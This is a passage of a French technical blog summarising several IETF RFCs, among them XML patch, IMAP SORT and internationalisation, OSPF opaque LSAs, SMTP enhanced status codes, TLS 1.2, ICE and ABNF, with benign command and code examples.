% dumpasn1 capitainetrain.der|more 0 1330: SEQUENCE { 4 1050: SEQUENCE { 8 3: [0] { 10 1: INTEGER 2 : } 13 3: INTEGER 555296 18 13: SEQUENCE { 20 9: OBJECT IDENTIFIER sha1WithRSAEncryption (1 2 840 113549 1 1 5) ... 95 30: SEQUENCE { 97 13: UTCTime 30/09/2012 02:22:13 GMT 112 13: UTCTime 02/10/2015 09:04:29 GMT ... 294 31: SET { 296 29: SEQUENCE { 298 3: OBJECT IDENTIFIER commonName (2 5 4 3) 303 22: PrintableString 'app.capitainetrain.com' : } ...
Si vous préférez un truc moderne et qui brille, l'outil interactif en ligne ASN.1 JavaScript decoder est remarquable (et, lui, il accepte le PEM).
Ce sous-ensemble (« profile ») de X.509 avait à l'origine été normalisé dans le RFC 3280, que ce RFC met à jour. La liste des changements est décrite en section 1. Rien de crucial, mais on notera que la nouvelle norme fait une part plus grande à l'internationalisation.
Merci à Manuel Pégourié-Gonnard pour la correction d'erreurs.
Date de publication du RFC : Juillet 2008
Auteur(s) du RFC : A. Monrad, S. Loreto
(Ericsson)
Pour information
Première rédaction de cet article le 26 juillet 2008
3GPP est un groupe de normalisation privé, composé de fournisseurs de systèmes de téléphonie mobile (section 1). Ses activités nécessitent des identificateurs stables et 3GPP a choisi les URN (RFC 8141).
La description complète de leurs URN apparait dans la section 2 du
RFC et est également documentée en ligne en http://www.3gpp.org/tb/Other/URN/URN.htm
.
La section 3 donne quelques exemples de ces nouveaux URN comme
urn:3gpp:featurephones
ou bien
urn:3gpp:acme.foo-serv
(cette seconde URN
utilisant un système hiérarchique, non documenté dans le RFC, où
« acme » est un opérateur et « foo-serv » un de ses services).
Date de publication du RFC : Septembre 2008
Auteur(s) du RFC : J. Urpalainen (Nokia)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF simple
Première rédaction de cet article le 11 septembre 2008
De nombreux protocoles IETF s'appuient sur XML, par exemple pour stocker de l'information de configuration. Dans ce cadre, le besoin de modifier de l'information XML sans devoir transporter le fichier entier, en communiquant juste les différences, est fréquent.
Pour le texte brut, ce besoin est couvert depuis longtemps par le format diff / patch. Jusqu'à présent, il n'existait aucune norme équivalente pour XML. Plusieurs propositions de « langages de patch » pour XML ont été faites mais ce RFC est le premier où on atteint le stade de la normalisation.
Il a été développé au sein du groupe de travail Simple, qui normalise des extensions au protocole SIP (RFC 3261) et qui en avait besoin, entre autres, pour la mise à jour de configurations stockées en XCAP (RFC 4825). Mais il est très général et applicable à tous les domaines.
Le principe de cette technique est simple. La partie du document
XML à modifier est identifiée par une expression
XPath. Une fois cette partie localisée, du
contenu est ajouté, modifié ou retiré, selon que le fichier de
modifications contienne des éléments <add>
,
<replace>
ou
<remove>
(la section 4 détaille chacun de ces éléments).
L'annexe A du RFC contient de nombreux exemples, en voici quelques uns pour illustrer :
<diff> <add sel="/section"><para>Nouveau paragraphe, lorem, ipsum, dolor, etc</add> </diff>
Ce code ci-dessus ajoute un nouvel élément
<para>
. L'expression
XPath pour localiser le point où l'ajouter est
donnée par l'attribut sel
. Ici, on ajoute le
nouvel élément dans l'élément <section>
de
premier niveau.
<diff> <replace sel="section[title='Bibliographie']"> <bibliography>...</bibliography> </replace> </diff>
Ici, la section de titre « Bibliographie » est remplacée par un
élément <bibliography>
.
<diff> <remove sel="article/section/para/text()"/> </diff>
Ici, le texte de l'élément <para>
est supprimé.
La syntaxe complète de ce nouveau format est décrite dans la section 8, elle est exprimée en W3C Schema.
À noter qu'il existe déjà une mise en œuvre de ce format,
xmlpatch. Voici
un exemple d'utilisation avec un premier document
toto.xml
:
<article> <abstract>Brouillon</abstract> <section> <title>Premier essai</title> <para>À l'heure actuelle, on ne sait pas encore grand'chose.</para> </section> </article>
et sa deuxième version,
totoplus.xml
:
<article> <section> <title>Premier essai</title> <para>Aujourd'hui, nous en savons bien plus.</para> </section> <section> <title>Révélations</title> <para>Nous avons même une seconde section.</para> </section> </article>
Appliquons xml_diff
pour obtenir un fichier de
différences, au format du RFC :
% xml_diff -f toto.xml -t totoplus.xml -o toto.xmlpatch
Ce fichier des différences contient :
<?xml version="1.0"?> <x:changes xmlns:x="urn:xml-changes"> <x:remove sel="*/*[1]" ws="after"/> <x:replace sel="*/*/*[2]/text()">Aujourd'hui, nous en savons bien plus.</x:replace> <x:add sel="*"><section> <title>Révélations</title> <para>Nous avons même une seconde section.</para> </section> </x:add></x:changes>
Personnellement, je ne trouve pas les expressions XPath extraordinaires, elles manquent notamment de robustesse en cas de légers changements du document source. Mais elles sont correctes et on peut appliquer ce patch :
% xml_patch -f toto.xml -p toto.xmlpatch -o toto-patched.xml
et cela nous redonne un document qui a le même contenu que
totoplus.xml
. Attention, cela ne signifie pas
qu'il soit identique au bit près (par exemple, les caractères
UTF-8 de l'original ont été remplacés par des
entités numériques XML) mais que son contenu
informationnel (l'infoset XML) est le même.
Au passage, vous remarquerez que l'élement XML qui englobe les
éléments patch n'est pas défini par le
RFC. <diff>
(dans les exemples du RFC) ou
bien <changes>
(dans l'exemple avec
xml_patch) sont des choix arbitraires. Cela été fait ultérieurement dans le RFC 7351.
Date de publication du RFC : Juin 2008
Auteur(s) du RFC : M. Crispin (Panda Programming), K. Murchison (Carnegie Mellon University)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF imapext
Première rédaction de cet article le 10 juin 2008
Le protocole IMAP d'accès aux boîtes aux lettres distantes s'étoffe dans toutes les directions. Ce RFC normalise les extensions permettant au serveur IMAP de faire le tri des messages lui-même, avant de les envoyer chez le client.
Un serveur IMAP peut être simpliste,
laissant le client faire l'essentiel du travail, par exemple de tri
des messages pour les afficher dans l'ordre souhaité par
l'utilisateur. Mais certains serveurs IMAP, par exemple ceux qui
stockent les messages dans une base de données
SQL peuvent aussi faire ce travail facilement et les
extensions SORT
et THREAD
permettent à un client de demander ce tri. C'est utile pour certains
clients (cf. RFC 1733) et cela garantit aux utilisateurs un
tri standard.
La section 2 du RFC présente d'abord quelques termes de
base. Ainsi, 2.1 explique le concept de « sujet de base ». Le sujet
des messages (dans le champ Subject:
) étant
parfois modifié en cours de discussion (notamment par l'ajout des
caractères indiquant une réponse, typiquement
Re:
), le tri par sujet doit se faire sur le
sujet de base, pas sur le contenu littéral du sujet. Ce sujet de base
s'obtient notamment en décodant les séquences du RFC 2047 et en supprimant les Re:
ou
Fwd:
initiaux. (La section 2.1 précise bien que,
vue la fantaisie avec laquelle certains logiciels modifient le sujet,
on n'atteindra pas 100 % de succès.)
La section 3 contient la définition formelle des deux nouvelles
extensions. La nouvelle commande SORT
pourra
indiquer le critère de tri, parmi un ensemble pré-défini (date,
expéditeur, taille, sujet, etc). Si on trie selon l'expéditeur,
seulement la partie locale de l'adresse
(addr-mailbox
) est utilisée donc par exemple
l'expéditeur de mes messages, pour ce tri, sera
stephane+blog
et pas
stephane+blog@bortzmeyer.org
et encore moins
Stéphane Bortzmeyer
<stephane+blog@bortzmeyer.org>
. Trier sur le nom
affiché, par exemple, ouvrirait des possibilités très intéressantes pour
les amateurs d'internationalisation. Ainsi, la liste suivante (tel
qu'elle serait triée par un tri alphabétique stupide) :
peut être triée de nombreuses façons. Un tri qui croirait être malin en utilisant le nom de famille donnerait :
alors que le tri correct, tenant compte de la position du nom de famille dans les différentes cultures, serait :
Les auteurs ont jugé que demander à implémenter un tel tri, internationalement correct, serait trop exiger. Le tri se fait donc seulement sur le nom de la boîte aux lettres.
Plusieurs critères peuvent être spécifiés, chacun servant de clé successive pour départager les ex-aequo. Par exemple, à la commande IMAP :
TAG145 SORT (SUBJECT FROM DATE) UTF-8 ALL
le serveur triera selon le sujet, puis selon l'expéditeur (à sujet identique), puis selon la date si les deux premiers critères donnent le même résultat.
La nouvelle commande THREAD
, quant à elle,
permet d'organiser les messages en fils (threads)
de discussion, selon les références (la méthode normale, avec les
champs References:
et
In-Reply-To:
) ou selon le sujet (« rangement du
pauvre », pour le cas où les références manquent). Notons qu'une telle
méthode nécessite que les utilisateurs se servent du courrier
correctement et, par exemple, ne
volent pas les fils.
La section 4 décrit les réponses possibles à ces deux commandes et la section 5 donne la grammaire formelle en ABNF.
Désolé, je n'ai pas encore cherché quels serveurs IMAP mettaient en
œuvre les nouvelles extensions mais elles sont apparemment
largement déployées sur le terrain depuis de nombreuses années (l'extension
SORT
est annoncée dans la réponse
CAPABILITY
de beaucoup de serveurs IMAP, cf. section
7.2.1 du RFC 3501 pour cette réponse).
Date de publication du RFC : Juin 2008
Auteur(s) du RFC : Chris Newman (Sun), Arnt Gulbrandsen
(Oryx), Alexey Melnikov (Isode)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF imapext
Première rédaction de cet article le 10 juin 2008
Le protocole IMAP (RFC 3501) d'accès à des boîtes aux lettres distantes a déjà quelques capacités d'internationalisation mais ce RFC en ajoute deux : la possibilité de demander des messages en diverses langues et la possibilité de demander d'autres fonctions de comparaison du texte.
La section 3 présente la première extension,
LANGUAGE
. Elle permet à un client
IMAP de demander, en utilisant les étiquettes
de langue du RFC 4646 une autre langue que celle par défaut,
pour les messages du serveur, messages qui sont souvent transmis tels
quels à l'utilisateur humain. Par exemple, un dialogue entre le client
C:
et le serveur S:
(ici, le
serveur parle anglais, allemand et italien) pourra
être :
C: A003 LANGUAGE S: * LANGUAGE (EN DE IT i-default) S: A003 OK Supported languages have been enumerated ... C: C001 LANGUAGE DE S: * LANGUAGE (DE) S: C001 OK Sprachwechsel durch LANGUAGE-Befehl ausgefuehrt
La section 4 présente la deuxième extension, qui comprend deux
niveaux, I18NLEVEL=1
et
I18NLEVEL=2
. Cette extension permet aux fonctions de
tri du RFC 5256 d'utiliser divers
comparateurs (RFC 4790). Au premier
niveau (section 4.3), le comparateur i;unicode-casemap
(RFC 5051) est utilisé, au deuxième niveau (section 4.4), le client
peut choisir un comparateur de son choix, avec la commande
COMPARATOR
(section 4.7).
La section 4.5 décrit un problème de compatibilité avec les mises en œuvre actuelles d'IMAP, qui n'utilisent pas toutes le même comparateur par défaut.
Enfin, le RFC note (section 5) que l'internationalisation complète du courrier nécessite également des actions en dehors d'IMAP comme les adresses de courrier internationalisées (RFC 6530).
Date de publication du RFC : Juillet 2008
Auteur(s) du RFC : Lou Berger (LabN), Igor Bryskin (Adva), Alex Zinin (Alcatel)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF ospf
Première rédaction de cet article le 4 juillet 2008
Le protocole de routage OSPF fonctionne en distribuant de l'information sur les interfaces du routeur, informations qui sont transmises par inondation à tous les routeurs de la zone. Cette information est structurée en LSA (Link State Advertisement) et ces LSA appartiennent à différents types, les premiers ayant été décrits dans le RFC 2328. Comme tous les routeurs de la même zone (area) doivent comprendre tous ces types, ajouter un nouveau type de LSA n'est pas facile. D'où l'idée, qui avait fait l'objet du RFC 2370, de créer un type « opaque » qui pourrait stocker de l'information spécifique à une application, sans que les routeurs aient besoin de connaitre autre chose que le fait qu'il soit opaque. C'est l'objet de notre RFC, qui remplace le 2370.
Ainsi, il sera plus facile d'étendre OSPF, comme l'avaient fait les RFC 3623 ou RFC 3630. Il suffit désormais d'enregistrer un « type de LSA opaque » auprès de l'IANA. Les routeurs qui ne connaissent pas ce type passeront les LSA sans les comprendre et sans être affectés. Le RFC 5250 ne spécifie d'ailleurs pas comment utiliser les LSA opaques, cela dépend complètement de l'application envisagée (section 2).
La section 3 décrit en détail ces nouveaux LSA. Il en existe de trois types :
Le LSA opaque est composé d'un en-tête LSA normal (section 12.1 du RFC 2328) suivi de 32 bits d'information qui sont divisés en un sous-type de 8 bits (le registre IANA les nomme opaque LSA option types) et 24 bits pour les informations spécifiques à l'application. Ainsi, le sous-type 1 désigne l'application traffic engineering du RFC 3630, alors que le 4 est la router information du RFC 4970. Le reste du LSA contient les données (de longueur variable, voir l'annexe A.2).
La section 3.1 gouverne la diffusion de ces LSA opaques, par
inondation (section 13 du RFC 2328). Un routeur sait que son voisin OSPF est capable de
gérer des LSA opaques en regardant le bit O (comme Opaque, valeur 0x40
) lu dans les
paquets Database Description que les deux routeurs s'échangent.
Justement, la section 4 décrit les changements dans les structures de données du protocole. En raison de l'option O citée plus haut, la description d'un voisin OSPF doit avoir un champ de plus pour stocker cette information sur les capacités du voisin.
La section 5 est la grosse nouveauté par rapport au RFC 2370, qui avait normalisé le protocole à l'origine. Elle décrit la diffusion des LSA opaques entre différentes zones OSPF. Enfin, la section 7 décrit les questions de compatibilité avec les vieux routeurs qui ne mettent pas en œuvre les LSA opaques (ils les ignorent, et ne peuvent donc pas les transmettre à leurs voisins).
La plupart des mises en œuvre d'OSPF supportent ces LSA
opaques. Avec Quagga, il faut s'assurer que le
logiciel a été configuré avant la compilation avec
--enable-opaque-lsa
. Il suffit ensuite de mettre
ospf opaque-lsa
dans le fichier de configuration
OSPF. IOS et
JunOS disposent également de
ces LSA opaques.
Date de publication du RFC : Juin 2008
Auteur(s) du RFC : T. Hansen (AT&T Laboratories), J. Klensin
Première rédaction de cet article le 1 juillet 2008
Le protocole SMTP de transport du courrier électronique, normalisé dans le RFC 5321, prévoit depuis le RFC 3463 des codes d'erreur à trois nombres très détaillés. Mais il n'existait pas de registre de ces codes et des doublons commençaient à apparaître. Ce RFC spécifie donc un registre des codes de retour SMTP, où tout le monde pourra vérifier que 4.3.1 signifie « Mail system full ».
Parmi les scénarios que résolvent ces codes de retour figure celui de l'internationalisation. SMTP est asynchrone et indirect. L'expéditeur du message n'a pas de contact direct avec les serveurs SMTP sur le trajet. Cela rend donc difficile des problèmes comme celui de la génération de messages d'erreur dans la langue de l'expéditeur. Actuellement, le serveur SMTP typique génère des messages d'erreur dans sa langue à lui (en général de l'anglais), pas dans celle de l'expéditeur qui va le recevoir. Plusieurs approches complémentaires ont été tentées pour résoudre ce problème, celle permise par notre RFC 5248 étant d'envoyer un code de statut numérique, que le MUA de l'expéditeur aura la charge de traduire. Ainsi, recevant « 5.2.2 - User's mailbox is too large - over ten gigabytes », le MUA pourra afficher « Pas assez de place dans la boîte aux lettres du destinataire » (et ignorer les détails en anglais).
Les codes SMTP (RFC 5321, section 4.2.1) originaux, dits « de base » sont composés de trois chiffres écrits sans séparateur (par exemple 554 pour Transaction failed). Les codes « améliorés » du RFC 3463 comportent, eux, trois nombres, la classe (2 : tout va bien, 4 : erreur temporaire, 5 : erreur définitive, etc), le second le sujet (6 : problème avec le contenu du message, 7 : problème avec la politique de sécurité, etc) et le troisième le détail. Ils s'écrivent avec un point comme séparateur. Ainsi, 5.5.2 signifie « Commande non reconnue » (erreur de classe 5, permanente, puisque le serveur SMTP ne va pas spontanément accepter de nouvelles commandes, erreur de sujet 5, problème de protocole). Dans cette session SMTP, on voit le code de base, 502 et le code amélioré 5.5.2 :
% telnet MYSERVER smtp 220 myserver.example.com ESMTP Postfix (Ubuntu) XMPA <me@foobarfr> 502 5.5.2 Error: command not recognized
Dans ce cas précis, le gain apporté par les codes améliorés est faible, le code de base était déjà suffisamment spécifique. Mais, dans le futur, des codes améliorés supplémentaires pourront être enregistrés (comme ce fut le cas pour ceux du RFC 7372). Ainsi, il n'y a pas actuellement de code pour le greylisting (RFC 6647, notamment la section 5)) et les serveurs SMTP renvoient donc un code générique :
RCPT TO:<foobar@langtag.net> 450 4.7.1 <foobar@langtag.net>: Recipient address rejected: Greylisted by greyfix 0.3.2,\ try again in 3480 seconds.\ See http://projects.puremagic.com/greylisting/ for more information.
Un futur RFC pourra donc créer un code pour cette utile technique anti-spam.
Notre RFC demande donc à l'IANA (section 2) de créer un registre, le SMTP Enhanced Status Codes, précisant les codes et leur signification.
Ce registre, dit la section 2.3, sera rempli, en suivant les règles du RFC 5226, selon la règle « Specification required » qui impose l'existence d'un texte écrit (pas forcément un RFC). La section 2.4 décrit les valeurs initiales contenues dans ce registre.
Date de publication du RFC : Août 2008
Auteur(s) du RFC : Tim Dierks (Independant), Eric
Rescorla (Network Resonance)
Chemin des normes
Première rédaction de cet article le 24 août 2008
Le protocole de cryptographie TLS, autrefois nommé SSL, est un des protocoles de l'IETF les plus utilisés. À chaque seconde, des milliers de connexions TCP, en général HTTP, sont protégées contre l'écoute, et même parfois authentifiées par TLS. Ce RFC met à jour l'ancienne norme, le RFC 4346. (Depuis, la version 1.3, très différente, a été normalisée dans le RFC 8446.)
Aujourd'hui, plus personne n'aurait l'idée de faire circuler un mot de passe en clair sur le réseau, car il serait très facile à capturer (par exemple avec un programme comme dSniff). TLS fournit la confidentialité à une connexion TCP. (TLS peut aussi fonctionner avec d'autres protocoles de transport comme SCTP - RFC 3436 ou bien UDP - RFC 6347.)
L'authentification par mot de passe a par ailleurs des défauts, notamment que le mot de passe soit réutilisable. Si l'utilisateur a été victime d'un faux serveur, par exemple par suite d'un hameçonnage, il donne son mot de passe et le méchant qui contrôle le faux serveur peut l'utiliser sur le vrai site. Pour traiter ce problème, TLS fournit une solution d'authentification reposant sur les certificats X.509 ou bien sur les clés OpenPGP (RFC 5081). TLS permet aussi bien au client d'authentifier le serveur qu'au serveur d'authentifier le client (cette deuxième possibilité est à l'heure actuelle peu utilisée).
Les certificats X.509 sont composés de la partie publique d'une clé asymétrique et de métadonnées, comme la date d'expiration. Ils sont signés par une CA, qui a elle-même un certificat signé par une CA et ainsi de suite jusqu'à arriver aux CA racines installés dans le logiciel. La plupart du temps, l'utilisateur n'a jamais examiné ces certificats des CA racine et n'a aucune idée de leur fiabilité. C'est l'un des gros points faibles de l'authentification par TLS / X.509.
TLS n'est pas une solution miracle, il n'en existe pas en sécurité informatique. Par exemple, TLS ne protège pas dans les cas suivants :
Passons maintenant au RFC proprement dit. Il fait plus de cent pages et pourtant de nombreux points n'y sont pas, comme la définition des algorithmes cryptographiques utilisés. La sécurité est un domaine compliqué, d'autant plus qu'une petite erreur peut annuler toute la sécurité de même que l'oubli de fermer à clé peut rendre inutile une lourde porte blindée.
TLS est composé de deux parties (section 1 du RFC), le Record Protocol, protocole de bas niveau qui transmet des messages en les chiffrant pour la confidentialité et l'intégrité et le Handshake protocol, bâti sur le premier, et qui se charge entre autres de négocier les paramètres de la session.
En effet, TLS fonctionne en négociant au début un algorithme de chiffrement ainsi qu'une clé cryptographique de cet algorithme pour la session. Le Record protocol va ensuite chiffrer les messages avec cette clé.
La section 4 du RFC détaille le langage de
présentation. L'IETF n'a pas de langage unique
de spécification, chaque RFC utilise des outils différents pour
décrire ses protocoles ou algorithmes. TLS crée donc le sien, proche
du C. Par exemple la section
4.4 décrit les nombres, tous créés à partir d'un type
unit8
, qui stocke un octet. La section 4.5 décrit
les types énumérés comme enum { null, rc4, 3des, aes }
BulkCipherAlgorithm;
(le type qui sert à définir les
valeurs de l'algorithme de cryptographie symétrique).
La section 6 décrit en détail le Record protocol. C'est un protocole qui va effectuer le chiffrement, mais aussi la compression, la fragmentation, etc.
La section 7 couvre le protocole de négociation (Handshake
protocol). C'est le protocole qui permet l'authentification
du serveur par le client (ou, plus rarement, le contraire) et la
sélection des options, par exemple l'algorithme de chiffrement
utilisé. L'authentification se fait en général en présentant un
certificat X.509,
certificat signé par un tiers de confiance (RFC 5280, en
pratique, le tiers « de confiance » est une des
CA installées par défaut avec le logiciel, dont
personne ne sait pourquoi elles ont été choisies). Voici par exemple
le résultat de ce protocole, tel qu'affiché par la commande
gnutls-cli
(qui est livrée avec GnuTLS) :
% gnutls-cli -d 9 www.example.org Connecting to '192.0.2.20:443'... ... |<3>| HSK[80708e8]: Selected cipher suite: DHE_RSA_AES_256_CBC_SHA
Le chiffrement AES en mode
CBC a été
choisi. gnutls-cli
permet de voir le passage de
tous les messages TLS de ce protocole, tels qu'ils sont décrits dans
la section 7.4 :
enum { hello_request(0), client_hello(1), server_hello(2), certificate(11), server_key_exchange (12), certificate_request(13), server_hello_done(14), certificate_verify(15), client_key_exchange(16), finished(20), (255) } HandshakeType;
Comme précisé dans la section 7.3, ce protocole de négociation a aussi ses propres vulnérabilités. Au démarrage, il n'y a évidemment pas d'algorithme de chiffrement ou de clé de session sélectionnés. Comme le précise la section 7.4.1, TLS démarre donc sans chiffrement. Un attaquant actif, capable de modifier les paquets IP, peut changer la liste des algorithmes acceptés, avant que le chiffrement ne soit actif, de façon à sélectionner un algorithme faible. (Le remède est de refaire la négociation une fois le chiffrement activé.)
Comme souvent avec TLS, le protocole est extensible. La section 7.4.1.4 décrit par exemple les extensions à l'annonce que font les machines TLS, possibilité qui est utilisée dans le RFC 5081 pour ajouter les clés OpenPGP aux certificats X.509. (Les extensions existantes étaient initialement décrites dans le RFC 4366 et sont désormais dans le RFC 6066. Le registre complet des extensions est maintenu à l'IANA.)
La section 9 indique l'algorithme de chiffrement obligatoire, RSA avec AES. Il est nécessaire de définir un algorithme obligatoire, autrement, deux mises en œuvre légales de TLS pourraient être incompatibles si les deux ensembles d'algorithmes n'avaient aucun élément en commun.
Par rapport à son prédécesseur, le RFC 4346, qui normalisait TLS 1.1, les changements sont de peu d'importance (la liste figure en section 1.2). Un client TLS 1.2 peut interagir avec un serveur 1.1 et réciproquement (voir l'annexe E pour les détails.) Il s'agit en général de clarifications ou bien du changement de statut de certains algorithmes cryptographiques. En effet, la cryptographie bouge et certains algorithmes, qui paraissaient solides à une époque, sont vulnérables aux attaques modernes (c'est par exemple ce qui est arrivé à MD5 et SHA1). C'est pour cela que l'algorithme « RSA avec AES » fait désormais partie des algorithmes obligatoires et que par contre IDEA et DES sont partis.
Contrairement à IPsec (RFC 4301), TLS fonctionne entre la couche de transport et les applications. Il n'est donc pas invisible aux applications, qui doivent être explicitement programmées pour l'utiliser. Pour cela, il n'existe malheureusement pas d'API standard. OpenSSL, l'implémentation la plus populaire de TLS, a la sienne, son concurrent GnuTLS en a une autre, etc. (GnuTLS dispose d'une couche d'émulation de OpenSSL mais elle est incomplète.)
Un programme comme echoping qui peut utiliser aussi bien OpenSSL que GnuTLS, doit donc recourir aux services du préprocesseur C, par exemple :
#ifdef OPENSSL ... SSL_set_fd(sslh, sockfd); if (SSL_connect(sslh) == -1) #endif #ifdef GNUTLS ... gnutls_transport_set_ptr(session, (gnutls_transport_ptr) (long) sockfd); tls_result = gnutls_handshake(session); ... #ifdef OPENSSL if ((rc = SSL_write(sslh, sendline, n)) != n) { ... #ifdef GNUTLS if ((rc = gnutls_record_send(session, sendline, strlen (sendline))) != n) { ...
Une autre solution pour une application qui veut faire du TLS sans se fatiguer est de compter sur le fait que TLS est indépendant du protocole utilisé par l'application et qu'on peut donc simplement créer un tunnel TLS, par exemple avec stunnel. Ainsi, on n'a même pas besoin de modifier le source de l'application.
Le déploiement de protocoles est toujours lent dans l'Internet. TLS 1.2, décrit dans ce RFC, ne s'est retrouvé dans le navigateur Firefox que cinq ans après.
Date de publication du RFC : Avril 2010
Auteur(s) du RFC : J. Rosenberg (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF mmusic
Première rédaction de cet article le 30 avril 2010
Le problème de la traversée des routeurs NAT continue à susciter une grande activité normalisatrice, de façon à réparer la grossière erreur qu'avait été le déploiement massif du NAT plutôt que celui de IPv6. ICE est un « méta-protocole », orchestrant plusieurs protocoles comme STUN et TURN pour arriver à découvrir un canal de communication malgré le NAT. Spécifié à l'origine dans ce RFC, il est désormais normalisé dans le RFC 8445.
L'objectif principal est la session multimédia, transmise entre deux terminaux, en général en UDP. ICE sera donc surtout utilisé au début par les solutions de téléphonie sur IP. Ces solutions ont déjà dû affronter le problème du NAT et ont développé un certain nombre de techniques, dont la bonne utilisation est l'objet principal de notre RFC.
En effet, les protocoles de téléphonie sur IP, comme SIP (RFC 3261) ont en commun d'avoir une session de contrôle de la connexion, établie par l'appelant en TCP (et qui passe en général assez bien à travers le NAT, si l'appelé utilise un relais public) et une session de transport des données, en général au dessus de UDP. C'est cette session qui est en général perturbée par le NAT. La session de contrôle transmet au partenaire SIP l'adresse IP de son correspondant mais, s'il y a deux domaines d'adressage séparés (par exemple un partenaire sur le domaine public et un autre dans le monde des adresses privées du RFC 1918), cette adresse IP ainsi communiquée ne sert pas à grand'chose.
On voit donc que le non-déploiement d'IPv6, qui aurait permis de se passer du NAT, a coûté très cher en temps de développement. Notre RFC fait 119 pages, et se traduira par du code réseau très complexe, uniquement pour contourner une mauvaise décision.
Des solutions au NAT, soit standard comme STUN (RFC 5389) soit purement spécifiques à un logiciel fermé comme Skype ont été développées. Mais aucune n'est parfaite, car tous les cas sont spécifiques. Par exemple, si deux machines sont sur le même réseau local, derrière le même routeur NAT, faire appel à STUN est inutile, et peut même échouer (si le routeur NAT ne supporte pas le routage en épingle à cheveux). Le principe d'ICE est donc de décrire comment utiliser plusieurs protocoles de traversée de NAT, pour trouver la solution optimale pour envoyer les paquets de la session de données.
Le principe d'ICE, exposé dans la section 2 et détaillé dans la 4, est donc le suivant : chaque partenaire va déterminer une liste de paires d'adresses de transport candidates (en utilisant leurs adresses IP locales, STUN et TURN), les tester et se mettre d'accord sur la « meilleure paire ». Une adresse de transport est un couple (adresse IP, port).
La première étape est donc d'établir la liste des paires, et de la trier par ordre de priorité. La section 4.1.2.1 recommande une formule pour calculer la priorité, formule qui fait intervenir une préférence pour le type d'adresses IP (une adresse locale à la machine sera préférée à une adresse publique obtenue par STUN, et celle-ci sera préférée à l'adresse d'un serveur relais TURN) et une préférence locale, par exemple pour les adresses IPv6 par rapport à IPv4. On notera donc (section 4.1.2.2) qu'ICE facilitera le fonctionnement des machines à double pile (v4 et v6) en fournissant un moyen simple de préférer une des deux familles, tout en pouvant se rabattre sur l'autre.
La deuxième étape est de tester les paires (section 2.2 et 7) pour déterminer celles qui marchent. ICE permet d'arrêter les tests dès le premier succès (aggressive nomination) ou bien de les poursuivre, pour voir si un meilleur RTT peut être trouvé (regular nomination).
La troisième et dernière étape d'ICE est de sélectionner la meilleure paire (en terme de priorité) parmi celles qui ont fonctionné. Les couples (adresse IP, port) de celles-ci seront alors utilisées pour la communication.
L'ensemble du processus est relativement compliqué et nécessite de garder un état sur chaque partenaire ICE, alors qu'ICE est inutile pour des machines qui ont une adresse IP publique. La section 2.7 introduit donc la possibilité de mises en œuvres légères (lite implementation) d'ICE, qui peuvent interagir avec les autres machines ICE, sans avoir à gérer tout le protocole.
Tous ces tests prennent évidemment du temps, d'autant plus de temps qu'il y a de paires d'adresse de transport « nominées ». C'est le prix à payer pour la plus grande souplesse d'ICE : il sera toujours plus lent que STUN seul. La section 12.1 se penche donc sur ce problème et suggère de ne pas attendre le dernier moment pour commencer les tests ICE. Par exemple, un téléphone matériel peut les commencer dès qu'il est décroché, sans attendre la composition du numéro.
Les protocoles de téléphonie sur IP ayant eu leur part de vulnérabilités, la section 18, sur la sécurité, est très détaillée. Par exemple, une attaque classique est d'établir une communication avec un partenaire, puis de lui demander d'envoyer le flux de données vers la victime. C'est une attaque par amplification classique, sauf que l'existence d'une session de données séparée de la session de contrôle fait qu'elle ne nécessite même pas de tricher sur son adresse IP (et les techniques du RFC 2827 sont donc inefficaces). Cette attaque, dite « attaque du marteau vocal », peut être combattue grâce à ICE, puisque le test de connectivité échouera, la victime ne répondant pas (puisqu'elle n'a rien demandé). Si tout le monde utilise ICE, cette attaque peut donc complètement disparaitre.
D'innombrables détails compliquent les choses et expliquent en partie la taille de ce RFC. Par exemple, la section 10 décrit l'obligation d'utiliser des keepalives, des paquets inutiles mais qui ont pour seul but de rappeler au routeur NAT que la session sert toujours, afin que les correspondances entre une adresse IP interne et une adresse externe restent ouvertes (le flux de données ne suffit pas forcément, car il peut y avoir des périodes d'inactivité). Tous les protocoles de la session de données ne permettant pas forcément d'envoyer des paquets « bidon », notre RFC suggère même d'envoyer délibèrement des paquets incorrects, pour faciliter leur élimination par le partenaire.
Enfin, une intéressante section 20 décrit les problèmes pratiques du déploiement (c'est une préoccupation rare dans les RFC). Par exemple, la planification de la capacité des serveurs est discutée en 20.2.1. Un serveur STUN n'a pas besoin de beaucoup de bande passante, mais un serveur TURN, oui, puisqu'il relaie tous les paquets, y compris ceux de la session de données.
La première version d'ICE ne gérait que l'UDP mais, depuis la publication du RFC 6544, TCP est également accepté.
Il existe déjà au moins une implémentation, pjnath.
Date de publication du RFC : Janvier 2008
Auteur(s) du RFC : D. Crocker (Brandenburg InternetWorking), P. Overell (THUS plc.)
Chemin des normes
Première rédaction de cet article le 1 février 2008
Ce RFC fait partie des RFC ancillaires, qui ne spécifient pas directement un protocole IETF mais fournissent des outils pour les "vrais" RFC. En l'occurrence, il normalise le mini-language pour écrire des grammaires.
Beaucoup de RFC doivent spécifier un langage, en général assez simple (jamais de la taille d'un langage de programmation) mais néanmoins suffisamment important pour que les descriptions informelles du langage soient risquées. Depuis longtemps, on utilise en informatique des notations dérivées du langage BNF pour spécifier formellement un langage. Le problème est qu'il existe plusieurs dialectes de BNF (comme EBNF) et que les RFC ont besoin d'une référence stable. À une époque, chaque RFC définissait approximativement sa grammaire formelle et l'utilisait ensuite. ABNF est issue d'un effort de Dave Crocker de regroupement de la définition de la grammaire en un seul RFC, le RFC 2234 en 1997, devenu ensuite le RFC 4234 en 2006. Notre RFC succède au fameux RFC 4234 (avec très peu de changements, le principal étant le passage au statut de norme IETF à part entière, Full Standard) et qui décrit ABNF, le dialecte IETF de BNF. Classique sur beaucoup de points, ce dialecte a quand même quelques variations, issues d'une histoire très ancienne. Par exemple, le signe | pour le choix est remplacé par /.
Quelques outils sont disponibles pour aider les auteurs de grammaires (la page oublie de mentionner Dapar). Mais je trouve que c'est encore insuffisant. S'il existe deux vérificateurs (qui peuvent tester qu'une grammaire est cohérente), il n'existe guère de générateurs d'analyseurs syntaxiques. En revanche, à des fins de test, il existe au moins deux programmes, Eustathius et abnfgen, qui génèrent automatiquement des exemples à partir d'une grammaire. Vous trouverez de nombreux exemples de grammaires ABNF dans les sources d'Eustathius.
